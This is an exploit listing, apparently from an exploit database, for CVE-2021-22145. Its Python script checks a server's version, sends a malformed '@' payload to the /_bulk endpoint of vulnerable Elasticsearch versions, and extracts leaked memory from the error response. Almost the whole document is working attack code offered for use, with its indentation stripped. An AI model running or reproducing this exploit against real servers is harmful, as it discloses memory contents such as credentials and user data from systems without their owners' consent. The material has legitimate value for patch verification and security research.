Share
## https://sploitus.com/exploit?id=PACKETSTORM:163648
# Exploit Title: ElasticSearch 7.13.3 - Memory disclosure   
# Date: 21/07/2021  
# Exploit Author: r0ny  
# Vendor Homepage: https://www.elastic.co/  
# Software Link: https://github.com/elastic/elasticsearch  
# Version: 7.10.0 to 7.13.3  
# Tested on: Kali Linux  
# CVE : CVE-2021-22145  
  
#/usr/bin/python3  
  
from argparse import ArgumentParser  
import requests  
from packaging import version  
import json  
from requests.packages.urllib3.exceptions import InsecureRequestWarning  
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)  
  
print("\n################################################################################################")  
print("###### CVE-2021-22145 Memory leak vulnerability on Elasticsearch (7.10.0 to 7.13.3) ######")  
print("###### Exploit by r0ny (https://twitter.com/_r0ny) ######")  
print("################################################################################################\n")  
parser = ArgumentParser()  
parser.add_argument("-u", "--url", dest="url", help="URL of ElasticSearch service")  
parser.add_argument("-apikey", "--api-key", dest="api_key", help="API Key Authentication (Base64)", metavar="API", default="")  
parser.add_argument("-b", "--basic", dest="basic", help="Basic Authentication (Base64)", default="")  
args = parser.parse_args()  
  
if not (args.url):  
parser.error('Please input the elasticsearch url. e.g "python3 CVE-2021-22145.py -host http://127.0.0.1:9200"')  
  
#Prepare authentication header  
authorization_header = ""   
if(args.api_key or args.basic):  
authorization_header = "ApiKey " + args.api_key if args.api_key else "Basic " + args.basic  
  
#Check elasticsearch version  
r = requests.get(args.url,headers={"Authorization":authorization_header}, verify=False)  
try:  
es_version = json.loads(r.content)["version"]["number"]  
except:  
print("# Couldn't connect to " + args.url + ", please verify the url or the authentication token\n")  
print("# Server response: " + str(r.content))  
exit()  
  
if version.parse(es_version) < version.parse("7.10.0") or version.parse(es_version) > version.parse("7.13.3"):  
print("# Elastic Service not vulnerable")  
print("# Elastic Service version: " + es_version)   
print("# Elastic Service vulnerable versions: 7.10.0 to 7.13.3")   
exit()  
  
#Prepare exploitation   
payload = "@\n"  
vulnerable_endpoint = "/_bulk"  
url = args.url + vulnerable_endpoint  
  
#Exploitation  
print("# ElasticSearch Version: " + es_version)  
print("# Request to " + url+"\n")  
r = requests.post(url, data = payload, headers={"content-type":"application/json", "Authorization":authorization_header}, verify=False)  
  
#Read Memory Leak and remove stacktrace  
  
print("$$$$$$$$$$$$$$$$$$$$$$$$$")  
print("$$$$$ Memory Leaked $$$$$")  
print("$$$$$$$$$$$$$$$$$$$$$$$$$\n")  
response = json.loads(r.content)  
leak1 = response["error"]["root_cause"][0]["reason"].split("(byte[])\"")[1].split("; line")[0]  
leak2 = response["error"]["reason"].split("(byte[])\"")[1].split("; line")[0]  
print(leak1+"\n"+leak2)